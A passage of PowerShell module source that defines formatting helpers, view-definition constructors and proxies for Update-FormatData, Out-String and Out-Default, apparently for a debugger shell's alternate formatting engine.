scripting scenarios, but in managed code, it is possible to distinguish between null and empty strings, and some APIs do. Therefore, PowerShell script that calls such an API needs a way to pass a true null versus just an empty string. This function is PART of that. To use this with a parameter of a function, say $s, first use the $PSBoundParameters dictionary to determine if the parameter is bound--if not, assign [NullString]::Value to it. That will cause "$s -eq $null" to evaluate to true. Next, when passing that parameter to a .NET API, don't pass it directly--instead, pass the output of (Protect-NullString $s). Note that giving a parameter a default value of [NullString]::Value will not have any effect (you still need to use $PSBoundParameters to detect if the parameter was passed or not). (as of PSv3; INTe0ccf1d7) The trick that makes Protect-NullString work is that its parameter is not marked with a "[string]" type qualifier (if it were, any null passed in would get converted to empty). #> function Protect-NullString( $s ) { if( $null -eq $s ) { [NullString]::Value } else { $s } } # end Protect-NullString <# .SYNOPSIS If an object implements IEnumerable, returns it. .DESCRIPTION This is similar to PSObjectHelper.GetEnumerable, which counts IDictionaries as IEnumerable even though LanguagePrimitives does not. #> function GetEnumerable( [object] $obj ) { $enumerable = [System.Management.Automation.LanguagePrimitives]::GetEnumerable( $obj ) if( $null -ne $enumerable ) { Write-Collection $enumerable return } # This is similar to PSObjectHelper.GetEnumerable. if( $obj -is [System.Collections.IDictionary] ) { Write-Collection ([System.Collections.IDictionary] $obj) return } return $null } <# .SYNOPSIS Enumerates an IEnumerable. .DESCRIPTION This is needed because PowerShell does not automatically enumerate some IEnumerable things--notably IDictionaries. #> function Enumerate( [object] $obj ) { $iter = [System.Management.Automation.LanguagePrimitives]::GetEnumerator( $obj ) # Apparently LanguagePrimitives.GetEnumerator does not work for some things (like # $PSVersionTable)... weird. So if that doesn't work, let's fall back to just calling # GetEnumerator() directly. if( !$iter ) { # This can fail for some things. For instance, PsIndexedDictionary has two # GetEnumerator() methods, and both are explicit interface implementations, and # PowerShell ends up complaining that "[it can't find a method 'GetEnumerator()' # with argument count 0]". So if both LanguagePrimitives.GetEnumerator and this # don't work, we'll have to go dig for the method ourselves. $iter = $obj.GetEnumerator() } try { while( $iter.MoveNext() ) { $iter.Current } } finally { if( $iter -is [System.IDisposable] ) { $iter.Dispose() } } } # end Enumerate <# .SYNOPSIS This function echoes an incoming stream of strings, but elides the first and last strings if they are empty. .DESCRIPTION Sometimes it would be nice to send some stuff to Out-String and then use the output as part of something larger. But Out-String (and all the built-in formatting commands) tend to put in some extra newlines at the beginning and end. That's fine when running the command stand-alone, but the extra whitespace can be too much when composing. The purpose of this command is to help make things look nicer. Note that this function removes /only/ up to two lines from the beginning and up to two lines from the end (if they are empty). If, for example, the input stream ends with THREE empty lines, this function will only remove the last two. TODO: It might be nice to use a circular buffer of dynamic size so that you can choose the maximum amount of trimming. For now I think two lines should be enough. To use it, pipe your object to "Out-String -Stream" and then to this command. Don't forget the "-Stream"! #> function TrimStream { [CmdletBinding( RemotingCapability = 'None' )] param( [Parameter( Mandatory = $true, ValueFromPipeline = $true, Position = 0 )] [AllowEmptyString()] #[string] $InputLine [object] $InputLine ) begin { [int] $curIdx = 0 [object] $lastSeen = $null [object] $lastLastSeen = $null [bool] $seenNonEmpty = $false } process { $objToDealWith = $null try { if( $null -eq $_ ) { $objToDealWith = $InputLine } else { $objToDealWith = $_ } if( $null -ne $lastLastSeen ) { #if( ($curIdx -le 3) -and (0 -eq $lastLastSeen.Length) ) if( $curIdx -le 3 ) { if( (0 -eq $lastLastSeen.Length) -and !$seenNonEmpty ) { # Do nothing! This trims the beginning. } else { $lastLastSeen $seenNonEmpty = $true } } else { $lastLastSeen } } } catch { $e = $_ [System.Console]::WriteLine( "OH NOES: $e" ) throw } finally { $curIdx++ $lastLastSeen = $lastSeen $lastSeen = $objToDealWith } } # end 'process' block end { try { [bool] $alreadySentLastLast = $false if( ($null -ne $lastLastSeen) -and (0 -ne $lastLastSeen.Length) ) { $alreadySentLastLast = $true $lastLastSeen } if( ($null -ne $lastSeen) -and (0 -ne $lastSeen.Length) ) { if( !$alreadySentLastLast ) { $lastLastSeen } $lastSeen } } finally { } } } # end TrimStream # # Table stuff # <# .SYNOPSIS Produces an object that defines a table column whose value is based on the specified property. .Link New-AltScriptColumn New-AltColumns New-AltTableFooter New-AltTableViewDefinition #> function New-AltPropertyColumn { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $PropertyName, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.ColorString] $FormatString = $null, [Parameter( Mandatory = $false, Position = 2 )] [string] $Label, [Parameter( Mandatory = $false, Position = 3 )] [MS.Dbg.Formatting.ColumnAlignment] $Alignment = 'Default', [Parameter( Mandatory = $false, Position = 4 )] [int] $Width, [Parameter( Mandatory = $false, Position = 5 )] [string] $Tag, [Parameter( Mandatory = $false )] [MS.Dbg.TrimLocation] $TrimLocation = [MS.Dbg.TrimLocation]::Right ) begin { } end { } process { # Workaround for INTe0ccf1d7: default parameter value # assignment of [NullString]::Value doesn't "take". if( !$PSBoundParameters.ContainsKey( 'Label' ) ) { $Label = [NullString]::Value } # Workaround for INTe0ccf1d7: default parameter value # assignment of [NullString]::Value doesn't "take". if( !$PSBoundParameters.ContainsKey( 'Tag' ) ) { $Tag = [NullString]::Value } New-Object "MS.Dbg.Formatting.PropertyColumn" -ArgumentList @( $PropertyName, $FormatString, (Protect-NullString $Label), $Alignment, $Width, (Protect-NullString $Tag), $TrimLocation ) } } # end New-AltPropertyColumn <# .SYNOPSIS Produces an object that defines a table column whose value is based on the specified script. .Link New-AltPropertyColumn New-AltTableFooter New-AltColumns New-AltTableViewDefinition #> function New-AltScriptColumn { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $Label, [Parameter( Mandatory = $true, Position = 1 )] [ValidateNotNull()] [ScriptBlock] $Script, [Parameter( Mandatory = $false )] [MS.Dbg.Formatting.ColumnAlignment] $Alignment = 'Default', [Parameter( Mandatory = $false )] [int] $Width, [Parameter( Mandatory = $false )] [string] $Tag, [Parameter( Mandatory = $false )] [MS.Dbg.TrimLocation] $TrimLocation = [MS.Dbg.TrimLocation]::Right, [Parameter( Mandatory = $false )] [switch] $CaptureContext ) begin { } end { } process { # Workaround for INTe0ccf1d7: default parameter value # assignment of [NullString]::Value doesn't "take". if( !$PSBoundParameters.ContainsKey( 'Tag' ) ) { $Tag = [NullString]::Value } # if( (Test-Path 'Variable:\enabled') ) { # [Console]::WriteLine( "Debugger.Formatting.psm1, New-AltScriptColumn: The 'enabled' variable exists." ) # } else { # [Console]::WriteLine( "Debugger.Formatting.psm1, New-AltScriptColumn: The 'enabled' variable does NOT exist." ) # } New-Object "MS.Dbg.Formatting.ScriptColumn" -ArgumentList @( $Label, $Script, $Alignment, $Width, (Protect-NullString $Tag), $TrimLocation, $CaptureContext ) } } # end New-AltScriptColumn <# .SYNOPSIS Produces an object that defines a table footer. .Link New-AltPropertyColumn New-AltScriptColumn New-AltColumns New-AltTableViewDefinition #> function New-AltTableFooter { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [MS.Dbg.Formatting.ColumnAlignment] $Alignment, [Parameter( Mandatory = $true, Position = 1 )] [ValidateNotNull()] [ScriptBlock] $Script, [Parameter( Mandatory = $false )] [switch] $CaptureContext ) begin { } end { } process { # if( (Test-Path 'Variable:\enabled') ) { # [Console]::WriteLine( "Debugger.Formatting.psm1, New-AltTableFooter: The 'enabled' variable exists." ) # } else { # [Console]::WriteLine( "Debugger.Formatting.psm1, New-AltTableFooter: The 'enabled' variable does NOT exist." ) # } New-Object 'MS.Dbg.Formatting.Footer' -ArgumentList( $Alignment, $Script, $CaptureContext ) } } # end New-AltTableFooter <# .SYNOPSIS Defines a script block that produces column definitions, and optionally a single footer definition. .Link New-AltPropertyColumn New-AltScriptColumn New-AltTableFooter New-AltTableViewDefinition #> function New-AltColumns { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNull()] [ScriptBlock] $ColumnProducer ) begin { } end { } process { # TODO: This seems... really simple. Should I do anything extra, like # filter output to just column objects, or anything else? & $ColumnProducer } } # end New-AltColumns <# .SYNOPSIS Produces a table view definition object with column (and footer) definitions supplied by the specified script block. .Link New-AltPropertyColumn New-AltScriptColumn New-AltTableFooter New-AltColumns New-AltListViewDefinition New-AltCustomViewDefinition New-AltSingleLineViewDefinition #> function New-AltTableViewDefinition { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNull()] [ScriptBlock] $Columns, [Parameter( Mandatory = $false, Position = 1 )] [switch] $ShowIndex, [Parameter( Mandatory = $false, Position = 2 )] [ValidateNotNull()] [ScriptBlock] $ProduceGroupByHeader, [Parameter( Mandatory = $false, Position = 3 )] [ValidateNotNull()] [object] $GroupBy, [Parameter( Mandatory = $false )] [switch] $CaptureContext, [Parameter( Mandatory = $false )] [switch] $PreserveHeaderContext ) begin { } end { } process { $private:columnList = New-Object System.Collections.Generic.List[MS.Dbg.Formatting.Column] [MS.Dbg.Formatting.Footer] $private:footer = $null & $Columns | % { if( $_ -is [MS.Dbg.Formatting.Column] ) { $columnList.Add( $_ ) } elseif( $_ -is [MS.Dbg.Formatting.Footer] ) { if( $null -ne $footer ) { $private:SourceLineNumber = (Get-PSCallStack)[2].ScriptLineNumber Write-Error -Message ([string]::Format( '{0}:{1} While registering a table view definition for type ''{2}'': The -Columns script block yielded more than one Footer.', $SourceScript, $SourceLineNumber, $TypeName )) -Category InvalidOperation -ErrorId 'ExtraFooters' -TargetObject $_ } else { $footer = $_ } } else { $private:SourceLineNumber = (Get-PSCallStack)[2].ScriptLineNumber Write-Warning ([string]::Format( '{0}:{1} While registering a table view definition for type ''{2}'': The -Columns script block yielded an item that was not a column definition: {3}', $SourceScript, $SourceLineNumber, $TypeName, $_ )) } } if( $CaptureContext -and (!$ProduceGroupByHeader -or !$footer) ) { Write-Error "New-AltTableViewDefinition: it does not make sense to use -CaptureContext if there is no -ProduceGroupByHeader or footer to use that context." $CaptureContext = $false } if( $PreserveHeaderContext -and !$ProduceGroupByHeader ) { Write-Error "New-AltTableViewDefinition: it does not make sense to use -PreserveHeaderContext if there is no -ProduceGroupByHeader from which to preserve context." $PreserveHeaderContext = $false } New-Object "MS.Dbg.Formatting.AltTableViewDefinition" -ArgumentList @( $ShowIndex, $columnList, $footer, $ProduceGroupByHeader, $GroupBy, $CaptureContext, $PreserveHeaderContext ) } } # end New-AltTableViewDefinition # # Custom view stuff # <# .SYNOPSIS Produces a custom view definition object. .Link New-AltTableViewDefinition New-AltListViewDefinition New-AltSingleLineViewDefinition #> function New-AltCustomViewDefinition { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNull()] [ScriptBlock] $Script, [Parameter( Mandatory = $false, Position = 1 )] [ValidateNotNull()] [ScriptBlock] $ProduceGroupByHeader, [Parameter( Mandatory = $false, Position = 2 )] [ValidateNotNull()] [object] $GroupBy, [Parameter( Mandatory = $false, Position = 3 )] [ValidateNotNull()] [ScriptBlock] $End, [Parameter( Mandatory = $false )] [switch] $CaptureContext, [Parameter( Mandatory = $false )] [switch] $PreserveHeaderContext, [Parameter( Mandatory = $false )] [switch] $PreserveScriptContext ) begin { } end { } process { # Note: unlike the other view definitions (table, list), it /does/ make sense to # have -CaptureContext here (to be used by $Script). if( $PreserveHeaderContext -and !$ProduceGroupByHeader ) { Write-Error "New-AltCustomViewDefinition: it does not make sense to use -PreserveHeaderContext if there is no -ProduceGroupByHeader from which to preserve context." $PreserveHeaderContext = $false } New-Object "MS.Dbg.Formatting.AltCustomViewDefinition" -ArgumentList @( $Script, $ProduceGroupByHeader, $GroupBy, $End, $CaptureContext, $PreserveHeaderContext, $PreserveScriptContext ) } } # end New-AltCustomViewDefinition # # List stuff # <# .SYNOPSIS Produces an object that defines a list view item whose value is based on the specified property. .Link New-AltScriptListItem New-AltListViewDefinition #> function New-AltPropertyListItem { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $PropertyName, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.ColorString] $FormatString, [Parameter( Mandatory = $false, Position = 2 )] [string] $Label ) begin { } end { } process { # Workaround for INTe0ccf1d7: default parameter value # assignment of [NullString]::Value doesn't "take". if( !$PSBoundParameters.ContainsKey( 'Label' ) ) { $Label = [NullString]::Value } New-Object "MS.Dbg.Formatting.PropertyListItem" -ArgumentList @( $PropertyName, $FormatString, (Protect-NullString $Label) ) } } # end New-AltPropertyListItem <# .SYNOPSIS Produces an object that defines a list view item whose value is based on the specified script. .Link New-AltPropertyListItem New-AltListViewDefinition #> function New-AltScriptListItem { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $Label, [Parameter( Mandatory = $true, Position = 1 )] [ValidateNotNull()] [ScriptBlock] $Script, [Parameter( Mandatory = $false )] [switch] $CaptureContext ) begin { } end { } process { New-Object "MS.Dbg.Formatting.ScriptListItem" -ArgumentList @( $Label, $Script, $CaptureContext ) } } # end New-AltScriptListItem <# .SYNOPSIS Produces a list view definition object with list item definitions supplied by the specified script block. .Link New-AltPropertyListItem New-AltScriptListItem New-AltTableViewDefinition New-AltCustomViewDefinition #> function New-AltListViewDefinition { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNull()] [ScriptBlock] $ListItems, [Parameter( Mandatory = $false, Position = 1 )] [ValidateNotNull()] [ScriptBlock] $ProduceGroupByHeader, [Parameter( Mandatory = $false, Position = 2 )] [ValidateNotNull()] [object] $GroupBy, [Parameter( Mandatory = $false )] [switch] $CaptureContext, [Parameter( Mandatory = $false )] [switch] $PreserveHeaderContext ) begin { } end { } process { $private:listItemList = New-Object System.Collections.Generic.List[MS.Dbg.Formatting.ListItem] & $ListItems | % { if( $_ -is [MS.Dbg.Formatting.ListItem] ) { $listItemList.Add( $_ ) } else { $SourceLineNumber = (Get-PSCallStack)[2].ScriptLineNumber # TODO: Get a PS dev to investigate: When I remove the () from # around the [string]::Format expression, I get an error about # no 'positional parameter cannot be found that accepts # argument 'System.Object[]'. But the error complains about the # ForEach-Object cmdlet being called ~15 lines above (the "& # $ListItems | % {" line). I have been unable to construct a # short repro of this problem. Write-Warning ([string]::Format( '{0}:{1} While registering a list view definition for type ''{2}'': The -ListItems script block yielded an item that was not a list item: {3}', $SourceScript, $SourceLineNumber, $TypeName, $_ )) } } if( $CaptureContext -and !$ProduceGroupByHeader ) { Write-Error "New-AltListViewDefinition: it does not make sense to use -CaptureContext if there is no -ProduceGroupByHeader to use that context." $CaptureContext = $false } if( $PreserveHeaderContext -and !$ProduceGroupByHeader ) { Write-Error "New-AltListViewDefinition: it does not make sense to use -PreserveHeaderContext if there is no -ProduceGroupByHeader from which to preserve context." $PreserveHeaderContext = $false } New-Object "MS.Dbg.Formatting.AltListViewDefinition" -ArgumentList @( $listItemList, $ProduceGroupByHeader, $GroupBy, $CaptureContext, $PreserveHeaderContext ) } } # end New-AltListViewDefinition # # Single-line view stuff # <# .SYNOPSIS Produces a single-line view definition object. .DESCRIPTION A single-line view definition script must produce a single line of output--additional lines will be truncated. Single-line views are generally used as part of other views, and can only be used by explicitly calling Format-AltSingleLine--Out-Default will not use a single-line view definition. .Link New-AltTableViewDefinition New-AltListViewDefinition New-AltCustomViewDefinition #> function New-AltSingleLineViewDefinition { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNull()] [ScriptBlock] $Script, [Parameter( Mandatory = $false )] [switch] $CaptureContext ) begin { } end { } process { New-Object "MS.Dbg.Formatting.AltSingleLineViewDefinition" -ArgumentList @( $Script, $CaptureContext ) } } # end New-AltSingleLineViewDefinition # # General stuff # <# .SYNOPSIS Produces an object that defines a set of format view definitions for the specified type(s). .Link New-AltTableViewDefinition New-AltListViewDefinition New-AltCustomViewDefinition New-AltSingleLineViewDefinition #> function New-AltTypeFormatEntry { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string[]] $TypeName, [Parameter( Mandatory = $true, Position = 1 )] [ValidateNotNull()] [ScriptBlock] $ViewProducer, [Parameter( Mandatory = $false, Position = 2 )] [ValidateNotNull()] [string] $SourceScript ) begin { } end { } process { if( !$PSBoundParameters.ContainsKey( 'SourceScript' ) ) { $SourceScript = (Get-PSCallStack)[1].ScriptName } $private:viewList = New-Object System.Collections.Generic.List[MS.Dbg.Formatting.IFormatInfo] & $ViewProducer | % { $viewList.Add( $_ ) } foreach( $private:tn in $TypeName ) { New-Object "MS.Dbg.Formatting.AltTypeFormatEntry" -ArgumentList @( $tn, $viewList, $SourceScript ) } } } <# .SYNOPSIS Registers one or more AltTypeFormatEntry objects with the alternate formatting engine provider. .Link New-AltTypeFormatEntry #> function Register-AltTypeFormatEntries { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNull()] [ScriptBlock] $EntriesProducer ) begin { } end { } process { $private:disposable = $null try { # If any entries need to capture context (variables and functions), we'll only # let them capture stuff defined in the $EntriesProducer script block and # below. $disposable = [MS.Dbg.DbgProvider]::SetContextStartMarker() & $EntriesProducer | Register-AltTypeFormatEntry } finally { if( $disposable ) { $disposable.Dispose() } } } } <# .SYNOPSIS Produces a new ColorString object (which uses ISO/IEC 6429 color markup). #> function New-ColorString { [CmdletBinding()] [OutputType( ([MS.Dbg.ColorString]) )] param( [Parameter( Mandatory = $false, Position = 0 )] [ConsoleColor] $Foreground, [Parameter( Mandatory = $false, Position = 1 )] [ConsoleColor] $Background, [Parameter( Mandatory = $false, Position = 2 )] [string] $Content ) begin { } end { } process { $cs = New-Object "MS.Dbg.ColorString" [bool] $pushed = $false if( $PSBoundParameters.ContainsKey( 'Foreground' ) ) { if( $PSBoundParameters.ContainsKey( 'Background' ) ) { [void] $cs.AppendPushFgBg( $Foreground, $Background ) } else { [void] $cs.AppendPushFg( $Foreground ) } $pushed = $true } else { if( $PSBoundParameters.ContainsKey( 'Background' ) ) { [void] $cs.AppendPushBg( $Background ) $pushed = $true } } if( $PSBoundParameters.ContainsKey( 'Content' ) ) { [void] $cs.Append( $Content ) } if( $pushed ) { [void] $cs.AppendPop() } return $cs } } # end New-ColorString Set-Alias fal Format-AltList -Scope global Set-Alias fat Format-AltTable -Scope global Set-Alias fac Format-AltCustom -Scope global Set-Alias fas Format-AltSingleLine -Scope global # # Proxy function stuff # function Update-FormatData { [CmdletBinding( DefaultParameterSetName = 'FileSet', SupportsShouldProcess = $true, ConfirmImpact = 'Medium', HelpUri = 'http://go.microsoft.com/fwlink/?LinkID=113420' )] param( [Parameter( ParameterSetName = 'FileSet', Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [Alias( 'PSPath', 'Path' )] [ValidateNotNull()] [string[]] ${AppendPath}, [Parameter( ParameterSetName = 'FileSet' )] [ValidateNotNull()] [string[]] ${PrependPath} ) # This proxy function actually proxies two commands: the built-in # Update-FormatData, and our alternate formatting engine's # Update-AltFormatData. You can pass both .ps1xml (traditional formatting info # file) and .psfmt (alternate formatting info file) parameters, and this splits # out the params as appropriate. # # Q: This is pretty insane! # A: I know, right? # # Note: I haven't really tested the PrependPath stuff. # # Could I have done something simpler? Sure. But you don't understand proxy # functions and pipelines until you can write this function. (Of course, I will # have forgotten it all in a few days... but then I can read this function!) begin { #TODO: try globbing/wildards try { #[console]::WriteLine( "begin" ) $private:traditionalAppendPaths = New-Object 'System.Collections.Generic.List[System.String]' $private:altAppendPaths = New-Object 'System.Collections.Generic.List[System.String]' $private:traditionalPrependPaths = New-Object 'System.Collections.Generic.List[System.String]' $private:altPrependPaths = New-Object 'System.Collections.Generic.List[System.String]' function private:SeparateParams( $psb, $traditionalAppendPaths, $altAppendPaths, $traditionalPrependPaths, $altPrependPaths ) { $traditionalAppendPaths.Clear() $altAppendPaths.Clear() $traditionalPrependPaths.Clear() $altPrependPaths.Clear() if( $psb.ContainsKey( 'AppendPath' ) ) { foreach( $path in $AppendPath ) { if( ![string]::IsNullOrEmpty( $path ) ) { if( $path.EndsWith( '.psfmt', [StringComparison]::OrdinalIgnoreCase ) ) { #[console]::WriteLine( 'Adding alt append path: {0}', $path ) $altAppendPaths.Add( $path ) } else { #[console]::WriteLine( 'Adding traditional append path: {0}', $path ) $traditionalAppendPaths.Add( $path ) } } } # end foreach( $AppendPath ) } # end if( AppendPath ) if( $psb.ContainsKey( 'PrependPath' ) ) { foreach( $path in $PrependPath ) { if( ![string]::IsNullOrEmpty( $path ) ) { if( $path.EndsWith( '.psfmt', [StringComparison]::OrdinalIgnoreCase ) ) { #[console]::WriteLine( 'Adding alt prepend path: {0}', $path ) $altPrependPaths.Add( $path ) } else { #[console]::WriteLine( 'Adding traditional prepend path: {0}', $path ) $traditionalPrependPaths.Add( $path ) } } } # end foreach( $PrependPath ) } # end if( PrependPath ) } # end function SeparateParams() function private:PrepParams( $psb, $appendPaths, $prependPaths ) { if( $psb.ContainsKey( 'AppendPath' ) ) { $a = $appendPaths.ToArray() Set-Variable -Name 'AppendPath' -Scope 1 -Value $a $psb[ 'AppendPath' ] = $a #[console]::WriteLine( 'Set AppendPath to ({0}): {1}', $a.Length, [string]::Join( ', ', $a ) ) } if( $psb.ContainsKey( 'PrependPath' ) ) { $a = $prependPaths.ToArray() Set-Variable -Name 'PrependPath' -Scope 1 -Value $a $psb[ 'PrependPath' ] = $a #[console]::WriteLine( 'Set PrependPath to: {0}', [string]::Join( ', ', $a ) ) } } # end function PrepParams() $private:outBuffer = $null if( $PSBoundParameters.TryGetValue( 'OutBuffer', [ref] $outBuffer ) ) { $PSBoundParameters[ 'OutBuffer' ] = 1 } SeparateParams $PSBoundParameters $traditionalAppendPaths $altAppendPaths $traditionalPrependPaths $altPrependPaths PrepParams $PSBoundParameters $traditionalAppendPaths $traditionalPrependPaths $private:wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand( 'Update-FormatData', [System.Management.Automation.CommandTypes]::Cmdlet ) $private:scriptCmd = { & $wrappedCmd @PSBoundParameters } $private:builtinCmdSteppablePipeline = $scriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $builtinCmdSteppablePipeline.Begin( $PSCmdlet ) PrepParams $PSBoundParameters $altAppendPaths $altPrependPaths $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand( 'Update-AltFormatData', [System.Management.Automation.CommandTypes]::Cmdlet ) $scriptCmd = { & $wrappedCmd @PSBoundParameters } $private:altCmdSteppablePipeline = $scriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $altCmdSteppablePipeline.Begin( $PSCmdlet ) } catch { [console]::WriteLine( "Update-FormatData proxy: PROBLEM in begin: {0}", $_ ) throw } finally { } } # end 'begin' block process { try { if( $null -eq $_ ) { # This is what happens when you just pass parameters in the normal way. #[console]::WriteLine( "process, `$_ is null" ) SeparateParams $PSBoundParameters $traditionalAppendPaths $altAppendPaths $traditionalPrependPaths $altPrependPaths PrepParams $PSBoundParameters $traditionalAppendPaths $traditionalPrependPaths $builtinCmdSteppablePipeline.Process( $_ ) PrepParams $PSBoundParameters $altAppendPaths $altPrependPaths $altCmdSteppablePipeline.Process( $_ ) } else { # This is what happens when you pipe input in. #[console]::WriteLine( "process, type {0}: {1}", $_.GetType().FullName, $_ ) SeparateParams $PSBoundParameters $traditionalAppendPaths $altAppendPaths $traditionalPrependPaths $altPrependPaths # We only want to step the relevant pipeline if( $_.EndsWith( '.psfmt', [StringComparison]::OrdinalIgnoreCase ) ) { PrepParams $PSBoundParameters $altAppendPaths $altPrependPaths $altCmdSteppablePipeline.Process( $_ ) } else { PrepParams $PSBoundParameters $traditionalAppendPaths $traditionalPrependPaths $builtinCmdSteppablePipeline.Process( $_ ) } } } catch { [console]::WriteLine( "Update-FormatData proxy: PROBLEM in process: {0}", $_ ) throw } finally { } } # end 'process' block end { try { SeparateParams $PSBoundParameters $traditionalAppendPaths $altAppendPaths $traditionalPrependPaths $altPrependPaths PrepParams $PSBoundParameters $traditionalAppendPaths $traditionalPrependPaths $builtinCmdSteppablePipeline.End() PrepParams $PSBoundParameters $altAppendPaths $altPrependPaths $altCmdSteppablePipeline.End() } catch { [console]::WriteLine( "Update-FormatData proxy: PROBLEM in end: {0}", $_ ) throw } finally { } } # end 'end' block <# .ForwardHelpTargetName Update-FormatData .ForwardHelpCategory Cmdlet #> } <# We already have an Out-String proxy function. But we still have a problem with ColorStrings that end up getting passed to the built-in Out-String. (For instance, if you have an AltTableViewDefinition for a particular object, then in our Out-String proxy, we will format it, and send that output, which will be ColorString objects, to the built-in Out-String.) So we want to make sure never to pass ColorString objects to the built-in Out-String, because it will probably just mess them up (by truncating them early, etc.). So we use this mini-proxy to do that. TODO: This assumes that our host will know what to do with the raw ColorStrings we give it... What if we are in a different host? #> function script:OutStringColorShim { [CmdletBinding()] param( [Parameter()] [switch] ${Stream}, [Parameter()] [ValidateRange( 2, 2147483647 )] [int] ${Width}, # TODO: Implement Stream and Width for ColorStrings! # # TODO: We should probably also have a -StripColor feature. [Parameter( ValueFromPipeline = $true )] [PSObject] ${InputObject} ) begin { [bool] $private:enableDebugSpew = $false if( $__outStringColorShimProxyDebugSpew ) { $enableDebugSpew = $true } #[Console]::WriteLine( "OutStringColorShim proxy begin" ) try { $private:currentSteppablePipeline = $null # TODO: What if someone else is also trying to proxy Out-String? $private:outStringWrappedCmd = $ExecutionContext.InvokeCommand.GetCommand( 'Out-String', [System.Management.Automation.CommandTypes]::Cmdlet ) } catch { $e = $_ [System.Console]::WriteLine( "OutStringColorShim begin: OH NOES: $e" ) throw } finally { } } # end begin block process { if( $enableDebugSpew ) { [Console]::WriteLine( " ======== OutStringColorShim thing: process ========" ) [Console]::WriteLine( ' $PSBoundParameters:' ) foreach( $key in $PSBoundParameters.Keys ) { $val = $PSBoundParameters[ $key ] if( $null -eq $val ) { $val = "" } [Console]::WriteLine( " [$($key)]: $($val)" ) } } try { $private:objToDealWith = $null [bool] $private:bindUsingInputObject = $false if( $null -eq $_ ) { if( $enableDebugSpew ) { [Console]::WriteLine( " OsProxy: Dollar-underbar is null." ) } $objToDealWith = $InputObject $bindUsingInputObject = $true } else { if( $enableDebugSpew ) { [Console]::WriteLine( " OsProxy: Dollar-underbar object of type: {0}", $_.GetType().FullName ) } $objToDealWith = $_ # Things get messed up in the child steppable pipeline if both $_ and # $InputObject are set. (I don't know why; they're both set here...) [void] $PSBoundParameters.Remove( 'InputObject' ) } if( $null -eq $objToDealWith ) # TODO: Do I need to handle [System.Management.Automation.Internal.AutomationNull]::Value? { return } if( $objToDealWith -is [MS.Dbg.ColorString] ) { #[Console]::WriteLine( "OutStringColorShim: It's just a ColorString..." ) return $objToDealWith } if( $null -eq $currentSteppablePipeline ) { $private:outStringScriptCmd = { & $outStringWrappedCmd @PSBoundParameters } $currentSteppablePipeline = $outStringScriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } # TODO: Assert $null -ne $currentSteppablePipeline if( $bindUsingInputObject ) { $currentSteppablePipeline.Process( $null ) } else { $currentSteppablePipeline.Process( $objToDealWith ) } } catch { $e = $_ [System.Console]::WriteLine( "OutStringColorShim: OH NOES: $e" ) throw } finally { } } # end process block end { try { if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } } catch { $e = $_ [System.Console]::WriteLine( "OutStringColorShim end: OH NOES: $e" ) throw } finally { } } # end end block } # end OutStringColorShim <# .SYNOPSIS Used to work around a bug/deficiency in setting $HostSupportsColor. .DESCRIPTION The Out-Default proxy dynamically toggles HostSupportsColor, and then tries to restore the original value. The problem is that every once in a while, if you CTRL-C at just the right time, Out-Default does not get a chance to restore the old value (there's no way to implement a "Dispose" method for a script function, and the 'end' block doesn't get to run). So now you're stuck, because now Out-Default thinks the "original" value is something else, and it always sets it back to that--even if you run "$HostSupportsColor = $true" or "[MS.Dbg.DbgProvider]::HostSupportsColor = $true", the Out-Default proxy's 'end' block will run and set it back. This method queues a work item to a separate thread, which does a "sleep" and then sets the property directly, hopefully after the Out-Default proxy has ended. #> function Reset-HostSupportsColor { [CmdletBinding()] [OutputType( ([MS.Dbg.ColorString]) )] param( [Parameter( Mandatory = $false, Position = 0 )] [bool] $Value = $true ) begin { } end { } process { # We can't just set $HostSupportsColor, because our intrepid Out-Default proxy # will always get the last word and set it back. This is a HACKY workaround to let # us get it set back the way we want. [MS.Dbg.DbgProvider]::ResetHostSupportsColor( $Value ) } } # end Reset-HostSupportsColor # This code helps demonstrate why we need both an Out-Default proxy and an # Out-String proxy. You can put a Console.WriteLine in the 'begin' block of our # Out-String proxy in order to see that piping $things to Out-Default does not # call the Out-String command (if you look at the implementation, the built-in # Out-Default command shares the same base class with the built-in Out-String # command, which is also the base class of the other formatting commands). <# Add-Type -TypeDef @' using System; public class Thing { public string Str; public int Num; public object Whatev; public Thing() { } public Thing( string str ) { Str = str; } public Thing( string str, int num ) : this( str ) { Num = num; } public Thing( string str, int num, object whatev ) : this( str, num ) { Whatev = whatev; } } '@ $t1 = New-Object 'Thing' -Arg @( "hi", 1 ) $t2 = New-Object 'Thing' -Arg @( "aasfd;asd", 12 ) $t3 = New-Object 'Thing' -Arg @( "fourscore", 20 ) $things = @( $t1, $t2, $t3 ) $things $things | Out-Default $things | Out-String #> # # The functions below have a lot in common with each other. So much so that they are # generated by a script in the AfeProxies directly (don't edit these here; edit the source # files under AfeProxy). # function Out-Default { [CmdletBinding( HelpUri = 'http://go.microsoft.com/fwlink/?LinkID=113362', RemotingCapability = 'None' )] param( [Parameter( ValueFromPipeline = $true )] [PSObject] ${InputObject} ) begin { [bool] $private:originalColorSupport = $HostSupportsColor [bool] 